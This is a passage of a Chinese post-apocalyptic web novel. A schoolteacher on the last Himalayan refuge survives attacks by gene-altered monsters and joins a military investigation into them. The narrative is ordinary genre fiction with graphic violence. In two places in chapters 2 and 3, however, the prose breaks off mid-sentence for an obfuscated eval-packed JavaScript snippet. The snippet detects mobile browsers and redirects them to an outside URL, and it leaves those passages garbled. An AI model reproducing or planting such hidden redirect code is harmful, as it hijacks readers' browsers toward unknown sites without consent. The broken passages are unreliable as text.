《最后一片土地 [末世]》 1. 第1章 曾经,一条冰质小行星带与异常活跃的太阳擦肩而过,带给人类数百年的暴雨与巨石陨落。 如今是3025年,亚欧大陆上最后的人类为聚集在喜马拉雅山脉上。临时政府成立后,将积雪全无的喜马拉雅山最高峰正式更名为——安塔岛。 安塔岛保护区里现存的学校只有一所,而齐观则是学校里一个平平无奇的小学语文老师。她只需要流水线般地教学生认识最基础的字,再给他们讲一些科普小故事,剩下的工作则交给数理化。 在这里,文字只是工具,不承载任何浪漫的意义。 所有人都在全年无休地工作,只为在陆地完全消失之前,能重新建成一艘太空飞船逃离地球。 齐观时常埋怨父母,爽一下还不够,还非要把她生下来,害得她世界末日了还得为口饭去上班。 只可惜,想当面埋怨已经不能够了,毕竟他们的坟都不知道在哪片海底下泡着呢。 刚上完上午的第二节课,齐观准备先回教师宿舍楼睡会儿再去吃午饭。反正以她的职级根本吃不上什么好东西,只有辐射盐渍的辐射鱼管够。 齐观一把推开教学楼的隔热门,热浪像地狱三头犬的舌头一样舔过来,她瞬间出了一身的薄汗。从地面反射的阳光亮得刺眼,她眯起眼睛,拿出百米冲刺的架势准备奔向宿舍楼。 刚跑出去一两步,脚下飞溅的水花就让齐观愣在原地。她被热得发懵,怎么也想不明白,这里离海岸线明明还有一小段距离,海水怎么会漫到保护区呢? 目光所及之处,海水已经积了浅浅的一小层,刚够漫过鞋底,且上涨的速度并不慢,只她愣神的这一小会儿就已经漫过了脚面。 刺耳的全岛警笛声突然响起,齐观浑身的鸡皮疙瘩都被这警笛声刺出来了,她拔腿就往一楼的广播室跑。 正是课间,广播室空无一人。齐观手忙脚乱地调试好话筒:“喂,喂,能听到吗?海水漫上来了!速度很快!大家先往高处撤离!” 她刚播完就一路冲出教学楼往学校后门跑,因为从那里出去是上山最快的路,可她都要跑到校门口了,回头却发现还有不少学生在窗口东张西望,好像这警笛声只是一段普通的上课铃。 齐观也觉得有些奇怪,没有地震短信,这上涨的海水看着也不像是海啸的前兆。这警笛声到底是想提醒他们什么? 学生们稀稀拉拉且不情不愿地出了有冷气的教学楼,老师们组织纪律的语气也算不上急切,每个人的眼中迷茫远多于慌乱。 齐观就这么稀里糊涂地来到了后门口,可没想到万年不关的后门今天不仅关了,甚至还上了锁。 怎么?难道今天连辐射鱼都不给送了吗? 眼看着海水就要漫到小腿,学生们这才动作快了起来,一大批人开始朝着后门跑来。 齐观见四周都没有保安的身影,于是望向旁边一人多高的铁栅栏。 被太阳烤了许久的栅栏表面怕是能把人皮烫下来,齐观只是摸了一把就放弃了爬上去的想法。 突然,身后同时响起数道尖锐的叫喊声。 齐观猛地回头,有那么一瞬间,她真的以为自己看见恶魔了。 一只长着蝙蝠翅膀、满身粗糙鳞片的人面蛇尾怪物,正抓着一个惊声尖叫的学生飞向半空中,用力朝地面砸了下去,血浆立刻与海水混合着四处飞溅。 霎时,整个操场像被掀了盖的蟑螂窝,人们尖叫着,慌不择路地抱头鼠窜。 天空被几十双巨大的黑色翅膀笼罩着,怪物的尖牙和利爪不断地夺走鲜活的生命,连海水都渐渐染上血色。 齐观怕得浑身都在抖,频频回头却又不敢盯着那些怪物看,她双手死死抓上栏杆,想爬过去但身体根本不听使唤。 几个跑得快的学生往铁门来了,也让怪物们也注意到了这个出口,有两只拍打着翅膀直直地朝齐观飞来。 齐观本以为她能有更体面的死法的。哪怕去保护区外领一颗安乐死的药丸,也比被一只不知名的丑怪物咬死强。 但还没等紧闭双眼的齐观坦然接受自己的死亡,耳边便传来尖锐的刹车声。 一辆军用皮卡在门口飘移停下,霎时尘土飞扬。隔着敞开的车窗,一发激光炮轰开了大门,也轰死了冲在前头的那只怪物。 另一只见状直接一个急转弯,俯身爆冲抓伤了好几个人后,又拎起一个倒霉蛋抛向空中。 从皮卡上跳下来了四个士兵,人手一个激光炮,大步朝着学校里跑去,他们身后还跟着几架军用无人机。 车顶红色指示灯的频闪速度被调到了最高,改装过的车喇叭传来人声。 “所有人听指挥!从后门逃生,沿大路往二号避难所方向去。重复一遍,从后门逃生,沿大路往二号避难所方向去。” 广播声开始在车上重复播放,多吉刚下车就看见了扒在栏杆上不松手的齐观。 多吉三两步跑上前,一把拽下哆哆嗦嗦的齐观,猛推了她一把。 “愣着干什么!跑啊!” 刚刚死里逃生的齐观这才缓过神来,跌跌撞撞地跑了两步又回身喊道:“你小心!” 多吉正背对着她指挥涌向后门的学生,宽阔的背影显得十分可靠。他加速挥了几下指挥棒,示意自己听到了。 齐观继续跑了起来,只是她每跑一步,她的鞋都在咕滋咕滋地往外冒水。 岛上的鞋厂只给平民留了一条生产线,为了抵抗高温,所有人都穿着这种吸汗透气底部厚实的鞋子,衣服则是一水儿的白。 然而在这种逃跑的关键时刻,这种鞋只能让人跑得更累更滑,完全起不到任何有效作用。 齐观一路按照路边指挥员指引的方向狂奔,一刻不敢停。 虽然曾经的珠峰已经被炸平,但为了留出未来海水上涨的空间,整体的海拔并不低。 一路的上坡对体力的消耗实在太大,气喘吁吁的齐观已经被大批年轻的学生超过去,淹没在白色的人群中。 “这边!往这边跑!前面有危险!先进教区躲一躲!” 路的拐弯处出现了新的指挥员,他身边停着一辆和多吉一样的军用皮卡。 齐观看向他身后更陡的上坡和阻挡视线的茂密树木,心里不断庆幸终于不用再继续跑了。 来自学校的人群离开了大路,一起涌向教区最前方的一座教堂。 刚一进去,齐观就累得躺倒在地面。她听见有人为了喝洗礼池里的淡水大打出手,但她也懒得去管了。 现在还有力气抢水的,都是些十几二十岁的毛头小子,就算她是老师,过去了也是照样挨揍。 齐观平躺在墙边的地上,凝望铺满彩石砖的天花板,努力平复自己的呼吸。 是她累得眼花了吗?怎么感觉天花板在动? 刹那间,好几大块天花板同时掉落,吊灯的铁链摇晃着发出吱呀的声音,被砸碎的木质桌椅块屑横飞。齐观连忙滚进一把完好的长椅下躲避。 还没等众人缓过神来,一块站立的天花板伸出长长的舌头,肉刺一般捅穿了一个只顾着喝水的男孩的脖子。 齐观简直不敢相信自己的眼睛,那一块块天花板又变成地砖的石黄色,吐出舌头发起了新一轮攻击。 教堂里的尖叫声足够吵醒世间所有的神灵,可手无缚鸡之力的孩子们仍在一个接一个地倒下。 慌乱之间,齐观发现相邻的长椅下还躲着一个小女孩,她正用脏污的小手捂住自己的嘴巴,小小的身体抖得不成样子。 狭窄的走道里,一个十几岁的女生躲闪不及时,被扎穿了大腿,猛地摔在了小女孩面前。小女孩忍不住尖叫出声,小小的身体蜷缩成一团,止不住地颤抖。 齐观记得自己刚刚被带到这座岛上时,差不多也是这个年纪。她一咬牙,手脚并用地爬过去,趴在了那女孩的身上。 这也算死得其所了吧,齐观这么安慰着自己,抱紧了小女孩。 那怪物并没有放过倒地挣 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她虽然这么喊了,但心里还是没底。这些怪物里只要有一只有听力的,她和小女孩就都得死。 齐观焦急地等待着,一开始只有一两个人停下,而当他们发现真的没有再被攻击之后,也跟着齐观喊别人不要动。 教堂里弥漫着死一样的寂静和血腥味,红色的怪物像死神一样缓慢的游荡,血水随着它们的移动泛起一圈圈的波纹。 一个男孩紧张地站在教堂正中的通道里,吓得眼泪流了满脸,双唇不停地抖动。他眼看着怪物一点点走近,再一点点和他擦身而过。 怪物四处乱转的眼睛,从始至终没有锁定过他一次。 时间一分一秒地过去,没有人知道这场无限时间的“木头人”游戏什么时候能停止。受伤的幸存者们死死捂住自己的伤口,在绝望中等待着,直到双眼无法再度聚焦。 高度紧张让齐观的状态在干呕与昏厥中来回切换,她只得闭上眼睛,把注意力放在控制自己不要动这件事上。 不知过了多久,一声脆裂的巨响刺入所有人的耳膜,教堂一侧所有的玻璃窗同时被撞碎,飞溅而来的玻璃渣又给齐观添了无数道细小的伤口。疼痛和声响让渐渐陷入昏迷的她以为是救援来了,便微微睁开了眼睛。 然而撞碎玻璃涌进来的不是别的,正是刚刚在学校里袭击他们的,长着巨大蝙蝠翅膀怪物! 它们抓起教堂里的变色怪物就往教堂另一侧玻璃撞去,激光炮的扫射紧随而来。 一个蝙蝠怪还没来得及飞起来就被一炮轰死,连带它抓起的变色怪也被打晕摔在地上。 抓着负重的蝙蝠怪没了刚才的敏捷,几个回合下来,地上又多了几具被打穿翅膀的怪物尸体。 “不要恋战!先救人!”率先冲入大门的杰佛森中校喊道。 士兵们在炮火的掩护下进场,把受伤的孩子们一个个抬上担架。 齐观看向怀里的小女孩,才发现她早就被吓晕了。 “这里!”齐观出声招呼医护人员,她的声音因为缺水和紧张变得嘶哑。 医疗兵将小女孩从椅子下抱到担架上抬走,齐观也跟着钻了出来。她踉踉跄跄地跟着担架走出了教堂,这才发现受灾的不止他们这一处建筑。 这片教区里供奉着自人类文明诞生以来的所有神灵,而三座最大的殿宇里均发生着同样的杀戮。 不过另两座里就没有那么幸运了,齐观看见浓稠的血水从打开的大门里缓缓漫出,一阶一阶地流下,而担架抬出来的人里没有一个能动的。 救护车上的护士看齐观没什么事,便给了她一个纸袋,告诉她深呼吸,随即跑去救其他的重症伤患了。 齐观原地缓了一会儿,正想跟着救护车一起前往医院,却被人一把按在硬邦邦的车身上。 刚刚指挥作战的杰佛森冷不丁地出现在她的身后。 “请接受我们的调查。” 2. 第2章 一头雾水的齐观还没来得及问上一句,就被厚厚的黑布蒙住了头,手也被铐住,塞进了一辆军用皮卡车的后座。黑布闷热,皮卡车经过路口的减速带猛地一震,她差点一伸脖子给自己吐个满脸。 随着冷气系统开始运作,车内的温度也渐渐降到了舒适的温度,齐观紧绷到极点的神经瞬间松懈,整个人直接晕了过去。 不知过了多久,车子由一路的缓上坡突然转为略陡的下坡,没系安全带的齐观一个俯冲直接撞上了驾驶座的椅背。她痛呼着醒来,发现眼前竟还盖着那块该死的黑布。 好在车子很快停了下来,齐观头上的黑布也被猛地拽下,车库的灯光虽不明亮,但依旧刺得她眼睛生疼。还没等齐观适应光线,身侧的杰佛森便解了她的手铐,扔给她一套迷彩服。 “穿上这身军装,一会儿站在我身后跟着我一起进去,什么也不要说,脸上也不允许有任何表情。”杰佛森说罢便下了车,啪的一声关上了车门。 齐观的身体状态已经到达她所能支撑的极限,自然也没有多余的力气做什么表情。她动作僵硬地套好了衣服,踉踉跄跄地走下车,差点被自己绊倒。 杰佛森带着她乘电梯走入一条走廊,走廊两侧的都是整齐的小房间,惨白的灯光打在白墙灰门上。杰佛森停在一间门前,拧了把手进去,齐观随即跟上。 这是一间没有隔间,也没有桌椅的审讯室,靠门的一侧站了几个人,屋子正中间跪着一个用黑布罩着头的军官。 杰佛森带着齐观在房间内站定,命人将黑布扯下。虽然那人的脸像是被按在地上猛揍了一顿似的,但齐观还是立刻辨认出他就是那个指挥人群进入教区的指挥员! 那男人的目光快速扫过面前几人的脸和肩章,锁定了其中职位最高的杰佛森。 杰佛森俯视着他,目光严肃:“你叫兰登,三年前和一船人从海上漂泊而来。你的父母因身体条件较差,不符合岛上的劳动标准,被拒绝进入保护区,并于一个月前死亡。对吗?” 兰登朝杰佛森吐了一口带血的唾沫。 “杀人犯。” “我认为这三个字用来描述你自己更为合适。”杰佛森说。 兰登的情绪突然激动了起来,疯狂扭动着身体。 “你们和抛弃地球的那些人有什么区别!所有对你们没用的人,就算死得再低贱、再痛苦,你们也都当没看见!我说的难道有错吗?!” 杰佛森一脚踹向企图站起来的兰登,黑皮靴死死踩住兰登的胸口。 “你是怎么和外界联络的?下一次进攻是在什么时候?” 兰登突然停止了谩骂,他笑得狰狞,眼睛瞪得老大,想要把眼珠瞪出来似的。 “我死都不会让你知道的。你们都该下地狱!”他怒吼。 “我并不认为这里比地狱好到哪里去。”杰佛森平静地说着,“带下去吧。他应该知道自己会面临怎样的结局。” 安塔岛没有行刑场,死刑犯的归宿就是一针麻醉下去,扔进粉碎机里打成各种作物的养料,倒是给岛上的化肥厂省了一条生产线的面积。 齐观的胃里再次翻滚,她突然有点想念食堂的辐射鱼了。 “你可以走了。”杰佛森转身对她说。 齐观愣住:“可你还什么都没有问我。” “他的眼神已经告诉了我,你不是共犯。看来你只是足够幸运。” 齐观还想再问点什么,但一个军官已经站在她面前,她只好跟着他先出去。 刚出房间,齐观试探地问:“你知道那些怪物都是哪儿来的吗?” “抱歉,我不能回答你。” 这个回答和齐观预想的一样,她也没有再问。这次上车她没有再被蒙住脸,于是她默默在后座褪下了套在外面的军装,只穿着她原本的白T恤与白色宽松布裤,只不过那衣服上的血污已经凝结,变成了大片的红褐色。 “你是这次事故里唯一能自己走出来的幸存者,目前需要先留在招待所,之后还会有需要你配合调查的地方。我叫白玛,现在我先带你去医院。”前头的白玛开着车说。 玻璃划出的伤口已经没有那么疼了,相比得到救治,齐观现在更想要点别的东西。 “可以先带我吃点东西吗?我实在太饿了。” 车子减速停下,掉头驶向另一个方向。 军队食堂的伙食多少比平民的强一些,齐观盛了满满一餐盘,毫不顾及形象地吃了起来。 “你没死啊?”一个气喘吁吁的声音从头顶传来。 齐观抬头,见多吉站在她的桌前,笑得露出一口白牙。 “哪有你怎么打招呼的?”齐观气得拿勺子扔他。 多吉和白玛点了个头,坐了下来,对齐观说:“原来你就是他们说的那个幸运儿。” “你们认识?”白玛问。 “嗯,她是我的语文老师。” 白玛闻言便在口袋里掏了掏,递给多吉一把钥匙。 “这是招待所的钥匙,房间号码在钥匙上。你送她过去吧,我下午还有事。”白玛说完便起身走了。 齐观抄起筷子继续往嘴里扒饭,把不锈钢餐盘刮得噼啪直响,吃了没几口又突然停住。 “噎着了?” 齐观朝多吉翻了个白眼。 “我问你。今天那些怪物都是从哪儿来的?我怎么听审讯的人说还有下一次进攻?” 多吉笑了:“在你问我这个问题之前,我都不知道还有下一次进攻。我是没有权限知道这些事的。”他说着拍了拍衣服上的少尉肩章。 “但我知道一件事。”多吉的表情突然严肃起来,“你需要接受心理治疗,我不希望明天一早听见有人从招待所楼顶跳下来的消息。你知道他们会怎么处理健康的尸体,我会吃不下饭的。” 齐观低头看着盘子,突然又没那么饿了。 “现在的情况,心理医生的号就算花光我一年的工资也排不到的。” 齐观语气低落,她一直在尽量稳住自己发抖的双手。决不决定活着是明天的事,她现在决定先别饿着。 “你放心,在军区医院这点权限我还是有的,等你休息好我就带你去。慢点儿吃,不够我再给你打。” 等齐观吃完饭已经是下午四点,多吉开车带着齐观来到了招待所。 齐观径直躺下,多吉则去商店买了新的衣服,又去医院领了急救药品才折返回来,坐在床前给她仔仔细细地上药。 胳膊和脸上的玻璃渣许久没有清理,已经开始和肉长在了一起。每清一处,齐观都疼得呲牙咧嘴。 终于上好了全身的药,多吉又打了一盆热水,把齐观身上和头发上的血污擦净后,扶着她换上了干净的衣服。 重新变得清爽的齐观躺回床上,又往里挪了挪。她拍拍床铺虚弱地说:“陪我躺会儿。” 多吉依言躺下,招待所的单人床躺两个人实在是有些挤,但齐观已经被极度的恐惧和疲惫折磨得快要失去意识了,窝在多吉怀里没一会儿就陷入了沉睡。 入夜,一室黑暗。 “齐观!醒醒!齐观!能听见我的声音吗?” 被摇醒的齐观身上的抽搐还没有完全停止,眼神也有些涣散。 “是做噩梦了吗?”多吉轻拍着她的脸问。 齐观的眼神一点点恢复聚焦,在看清多吉的脸的那一刻,她失声痛哭,用力得好像要把她的心吐出来。 多吉抚摸着她的背,任她把鼻涕眼泪都擦在自己的身上。 许久,齐观终于停止了哭泣,只是身体还因为已经哭到脱力,偶尔抽动两下。 多吉把T恤脱下来,给她抹了把脸,问:“再睡会儿吗?” 黑暗中,齐观没回答,伸手去解他的腰带。 多吉抓住了她的手:“你现在的身体状态不适合干这个。” 齐观想了想,又点了点他的手指。 多吉笑了:“你还真是一点儿都不亏待自己。” “我不想再想到那些场景了,这个比心理医生好用。”齐观认真地说。 “确实。” …… 凌晨一点,军区指挥所。 杰佛森在会议桌上一左一右摆了两个证据袋。 “这是我们在兰登车上的安全带卡扣里发现的微型调频器,可作用于部队统一配备的寻呼机,应该是在他巡逻的时候从暴露区拿到的。兰登通过调频器,就能接收到保护区外的任意设置的频段信息,且信号时间过短很难被追踪到。寻呼机的芯片在兰登被捕前就已经被火烤销毁,技术人员在尝试修护,但我认为并没有成功的可能。” 杰佛森又指向另一个证据袋:“这张铝箔纸包裹在兰登那辆皮卡车的定位器上,所以我们并没有收到定位器的拆除警报,也没有在调控中心发现他的位置异常。” “铝箔纸?”坐在长桌正中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064761|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的军区总司令钱章问道。 “是从烟盒上拆下来的。”杰佛森解释道,“是否需要下令让烟厂不再生产带有铝箔纸的烟盒,并收回所有士兵手中现有的烟盒?” 钱章短暂地思考了一下这道请示,摇摇头说:“这一小张就足够包住定位器了,更何况铝箔纸也不是什么难藏的东西。岛上没什么娱乐,还是让大家抽点儿有味的东西吧。” “是。”杰佛森结束了报告,坐回了座位上。 钱章看向桌上坐的另一位。 乌日娜上半身动都没动,直接抬起可伸缩的机械右臂,用伸长的机械手灵活地抓起桌上的报告摆在了钱章面前。 “我们提取了两种怪物的基因,发现人类的基因序列均占主导地位。这也证实了我们的猜想,动物方向的基因改造实验确实一直存在,甚至已经产生了可稳定存活的物种。只是被俘数量较少,无法通过基因比对确定是否具有繁殖能力。” “俘虏了几个活的?”钱章问。 “两只蝠翼兽,一雄一雌,还有一只变色兽,但只有那只雄性蝠翼兽具有语言能力。” “明天早上,我要看到审讯结果。” “明白。” 钱章又看向杰佛森:“那个能活动的幸存者现在在哪儿?” “招待所。” “她的现场描述,明早一起给我。” 杰佛森有些迟疑:“她受了很大的精神创伤,如果现在立刻要她回忆,恐怕……” 钱章没有说什么,只是平静地看着杰佛森。 杰佛森低下头:“明白。” 夜深人静,整座岛除了山顶的军区和研究所,只有几座岗哨在闪着点点光亮。 杰佛森和乌日娜出了会议室,并排走在军区指挥所长长的走廊里。走廊里只开了两盏顶灯,勉强满足最基础的照明需求。 乌日娜揶揄道:“你都多余跟老大说那句。” “我只是怕问不出来什么,如果崩溃了反倒拖得更久。” 乌日娜没反驳,只是笑着指了指杰佛森:“你啊……” “新改的机械臂?”杰佛森转移了话题。 一提这个,乌日娜便来了劲头,控制着机械臂伸了三米远。 “帅吧,我新研究的。”乌日娜的脸上满是得意。 杰佛森点点头,又问:“喝咖啡吗?我请。” “那就恭敬不如从命了,毕竟咖啡豆可比金豆子还金贵呢。”乌日娜打了个哈欠,迅速收回机械臂捂了捂嘴,“再靠药物维持精神,我都要有抗体了。” 喝完咖啡,乌日娜立刻赶往研究所,杰佛森则径直回了机动队办公室去存放证据袋。 迎接他的并不是预想中的黑暗,而是一盏不太明亮的台灯。 寂若无人的办公室里,白玛正坐在电脑前,神情麻木地敲着键盘。 杰佛森叹了口气,加重了脚步声。他走到白玛身旁说:“这报告又不急用,你替我去招待所接一趟人吧。回来之后就去休息,别总这么熬着了。” 白玛面无表情地站起身,抓起车钥匙就走了。 杰佛森瞟了一眼他桌上的心形吊坠,皱着眉伸手揉了揉太阳穴,回到自己的办公桌继续查看白天的监控资料。 正是闷热的雨季,夜空中只有厚厚的云层,透不出一丝月光。一辆皮卡车停在了招待所楼下,明亮的车灯划破了笼罩万物的黑夜。 齐观是被一阵急促的敲门声惊醒的,随之而来的心悸让她的呼吸瞬间混乱起来。 多吉赶忙轻抚了几下她的背,才起身去开门。 门口的白玛和多吉四目相对,又看向他赤裸的上身。 “语文老师?”白玛挑眉。 “六年前的。”多吉靠着门框答道。 白玛越过多吉的肩膀,对屋里还躺着的齐观说:“杰佛森要见你。” 齐观忍住了骂街的冲动,从床上直起了身子。 多吉顶着白玛不悦的眼神关了门,低头看了眼脏污的T恤,直接穿上了外套,又从身后抱住了齐观。 “我会陪着你的。”他的声音低沉轻柔。 “你有这个权限?”齐观忍不住内心的烦躁。 “我有这个用。” 多吉用手轻轻摩挲着齐观的脸颊和脖颈,将头重重地靠在她的肩上。 齐观烦躁的情绪逐渐平复,她长长地呼出一口气。 “确实。” 3. 第3章 齐观被多吉搀扶着等在机动队办公室门外,她浑身的肌肉都在轻微抽搐,胃也因为再度袭来的饥饿感和紧张有些痉挛。 很快,杰佛森从里面推门出来,直直地看向多吉。 “齐观在招待所的一应事宜都将交由你负责,你最近的工作白玛会替你和你的小队长协商,你跟着一起来吧。” 齐观本来准备了一肚子回怼的话,却没想到这么顺利就得到了陪同许可,她在原地愣了一瞬,才磕磕绊绊地跟上了杰佛森。 三人来到了一个小房间,房间三面砖墙,另一面是不透明的玻璃墙,房间里仅有的光源是桌子上的一盏散发着暖黄色光的台灯。 杰佛森示意他们坐下,并按下了录音机按钮,“请尽你所能地详述今天所见到的一切。” 齐观虽不情愿,但还是深吸了一口气,皱着眉努力回忆着。 “早上……呃不,上午,上午我上完第二节课,距离午餐时间还有一个小时,就想着回宿舍休息一会儿。那时候是十一点左右,海水刚刚漫到学校。因为海水上涨的速度太快了,我就到广播室通知大家往高处撤离。” “你有播过广播?” “是的。” “学校里没有其他的安保人员吗?你为什么是第一个发现的。” “有,但一般都是早晚巡逻。今天中午格外的热,辐射又强,很少有人出来。学校这一段的地面坡度不大,只要水量够,要漫进来是非常快的。” 杰佛森点点头,示意齐观继续。 “水面太静了,从高层看可能根本感受不到上涨速度,一开始只有低层的学生走了出来,直到……” 齐观舔了舔嘴唇,半天没说出话来。多吉给她倒了杯温水,搂住了她的肩膀。 “蝠翼兽,你可以用这个称呼。”杰佛森说。 “有学生被……蝠翼兽从空中扔下来,所有人才开始像疯了一样地跑。我们沿着后门的大路一直往高处逃,直到碰上那个叫兰登的指挥员。” 齐观突然停住,死死盯住杰佛森:“我不明白,就算兰登带着我们走了别的路,后面的指挥员难道没有发现我们这么一大群人走失了吗?为什么搜救来得这么晚?” “蝠翼兽不只袭击了学校,沿海的人口密集区无一幸免。兰登所在的位置是一条岔路口,后面的指挥员要同时面对三条岔路逃难人数的总和。逃难的学生只占总人口很少的一部分,如果不是蝠翼兽集体从学校飞往教区,我们并不知道那里才是最终目标。” 杰佛森的嘴唇抿成一条线,蓝色的眼睛微微有些躲闪。 齐观紧握水杯的手颤抖地厉害,她痛苦地闭上双眼:“教堂屋顶埋伏了一种会变色的怪物,它们……” “变色兽。”杰佛森打断她提醒道。 齐观用力将水杯砸在地上。 “如果你想这么称呼的话。”杰佛森小声补充。 齐观极力地控制自己的呼吸,重新进入回忆。 “它们的舌头很长,也很锋利,刺穿人体对他们来说是轻而易举的事。我发现它们的习性和变色龙很像,所以让大家不要动。” “你知道变色龙的习性?” “是的。我是小学部的语文老师,越小的孩子越有好奇心,新奇的东西他们都会问,即使他们根本没有机会见到。” 房间陷入短暂的沉默。 “你很勇敢,也是一名很优秀的教师。”杰佛森说。 齐观不置可否,她从不认为自己是个勇敢的人,但明明能做点什么却眼睁睁看着别人死,她还是做不到的。 “这两种怪物之间有什么联系吗?”齐观突然问。 “为什么这么问?” “变色兽的移动速度很慢,不可能凭空出现在教堂里,没有蝠翼兽的帮助根本不可能在没人发现的情况下埋伏好。而且在教区死去的蝠翼兽数量远高于变色兽,他们明明可以从学校直接飞走的。那些蝠翼兽为了救变色兽争先恐后送死的的样子,就好像……好像……” “好像什么?” 齐观艰难地说出她的猜想:“好像他们有情感一样。” “这正是我们接下来要验证的事。”杰佛森关闭了录音机,站起身来,走到玻璃板前说:“你的问询已经结束了,但如果你愿意留下来,也许会对我们的工作有所帮助。” “留下来做什么?”齐观不解,她的指尖微微发凉,和多吉相握的手不自觉地收紧。 杰佛森按下墙边的遥控钮,玻璃墙瞬间透进惨白刺眼的灯光,小房间内的声场也陡然增大,变得空旷混沌。 齐观犹豫着走近玻璃墙,玻璃墙后是一大片深灰色的空地,地面比他们所在房间的地板要低约一层楼的高度。 空地正中有三个大铁笼,在看清里面都装了什么之后,齐观猛地退后了几步。 多吉连忙把她抱在怀里,捂住了她的眼睛,看向杰佛森的眼神很是不满。 “你都听到了。”杰佛森冲着手里的对讲机说。 齐观挪开多吉的手,看见一个右手装着机械臂的女人气势逼人地走近笼子。她肤色微深,另一条正常的手臂肌肉线条十分有力,整个人像一头强壮的母狮。 乌日娜伸长机械手,砰的一声抓住铁围栏,金属与金属的撞击声震得人心直颤。而她看怪物的眼神,冷漠地就像看案板上的一块死肉。 “这条机械臂里一共有五种刀具,转速自选。你们的鳞片看着厚,但到底还是肉身。识相的话,早点交代吧。” “我们在实验室里什么罪没受过,就算你把我的肉一片一片地切下来,也休想知道我们的计划。” 蝠翼兽的声音尖细难听,每一个字都在刮着齐观的耳膜。 乌日娜不屑地收回机械臂,念起左手中的检测报告:“你们两个的身体里,同时具有非洲巨型蝙蝠和尼罗河巨蜴这两种基因。人类的声道结构无法发出超声波,而蜥蜴皮肤对太阳辐射的防护作用却能完整保留下来。这就是你们选择白天发动攻击的原因。对吗?” 两只蝠翼兽本就丑陋的面容变得更加狰狞可怖,恶狠狠地盯着乌日娜。 “那只小的除了人类基因以外,就只有变色龙的基因,所以我想你们的实验室在发现蜥蜴基因更容易在人体中显化之后,进而选取了蜥蜴中生存技能更多的种类继续实验。这一点应该也没错吧。” 乌日娜在蝠翼兽凝滞的表情中得到了她想要的答案。 “你们两个,包括那些死了的蝠翼兽,基因年龄都在32至35岁之间。而唯二两份变色兽的检测报告,则是一个六岁、一个八岁。” 乌日娜顿了顿继续说:“考虑到你们的营救行为,除了亲子关系外,我想不到别的可能了。” 一个士兵从审讯场边的厚重铁门进来,走向乌日娜。 “上校,死掉的那只变色兽的尸检报告出来了。” 乌日娜接过报告翻看起来,脸色越来越沉重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064762|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久,她才拿起了腰间的对讲机。 “杰佛森,把老大叫起来吧,有件事他现在就得知道。” 十分钟后,钱章坐在了齐观对面的沙发上,房间的玻璃墙则重新变得不透明。 齐观能感觉到多吉有些坐立不安,毕竟钱章肩上的中将肩章不知要比他高出多少级。 乌日娜率先开口:“起先我认为变色兽和蝠翼兽一样,都是基因实验的产物,但从尸检报告来看并不只是这样。” 她将报告贴在了一旁竖立的证据板上,“变色龙需要同时具有色素细胞和虹细胞这两种细胞,才能实现快速变色,但这只变色兽体内并没有产生虹细胞的器官,这种细胞只存在于鳞片组织。而我们又在鳞片组织之下,发现了与人体表皮的融合组织。” “所以除了基因改造以外,变色兽还接受过表皮移植手术。从它的体型来说,移植及后期维护的手术次数至少是两位数。而从它身体内部的人类基因比例看来……”乌日娜深深地吸了一口气,“它在最初接受手术时,应该还保持基本的人形。” 房间里静地连掉一根针都能听见,可齐观却感觉自己的耳边在嗡嗡作响。 杰佛森分析道:“我想正是因为有这样的仇恨在前,它们才会选择重点攻击学生,让岛上的人也尝一尝子女受害的痛苦。” “没错。”乌日娜点点头,“而且蝠翼兽的上肢并没有操作精细武器的能力,所以我推测下一次的进攻应该是针对研究所的自杀式袭击。研究所虽然地势高,但北坡很陡,距离海面的水平距离并不远,飞到那里不会花太久的时间。” “可如果蝠翼兽选择自杀式袭击,那它们的孩子,也就是变色兽又应该怎么办呢?”齐观问。 杰佛森短暂地思考了一下:“我们根据兰登留下的调频器进行了频段追踪,并收到了来自暴露区的信息,意在确认兰登的安危。蝠翼兽和暴露区对我们有着相同的仇恨,也许暴露区的海难幸存者会帮助他们抚养变色兽。” 钱章赞同道:“虽然安塔岛是目前全球海拔最高的岛,但周围也不是完全没有海平面之上的陆地,他们完全有转移居住地的可能。” 齐观突然痛苦地抱住自己的头,难道这些怪物真的要以这样的面貌生存下去吗? “齐观,松手,不要伤害自己。”多吉攥住她薅住头发的手,轻声说着。 齐观猛地抬头看向乌日娜:“变色兽里边的小孩,现在是什么智力水平?” “从皮肤融合组织的量来看,它们最早接受手术的时间应该在四岁左右,实际智力水平可能连四岁都不到。有什么问题吗?” 齐观想到教堂里,变色兽行尸走肉般攻击人类的样子,“蝠翼兽如果真的是变色兽生理上的父母,那么绝对没有父母能够接受自己的孩子如此没有尊严,甚至没有人性地活着。它们一定会为变色兽选择一个合适的死法。” 她大口喘着气,神情越来越急切:“死法……暴露区的安乐死药丸!这一定是蝠翼兽和暴露区的人交换的东西!人类把药给他们,在上涨的海水里结束生命,而蝠翼兽用生命帮他们复仇,为了给自己的孩子换一种不痛苦的死法。” 齐观说完这些又重新缩成一团,表情痛苦:“如果我没有猜错的话,现在保护区外,应该已经没有一只活着的变色兽了。” 钱章脸色微变,立刻掏出寻呼机,快速按了几个数字。 “通知陆军的重装安防组,立刻去北坡!” 4. 第4章 凌晨四点半,安塔岛北坡严阵以待。黑压压的枪口架设在盘山公路之上,三艘巡洋舰盘桓在沿海,如猛虎出山。 审问场内则是长久的沉默。 钱章背手而立,面色严肃地发话:“距离天亮还有一个小时。如果我们的猜想是对的,你们最好早些承认。” 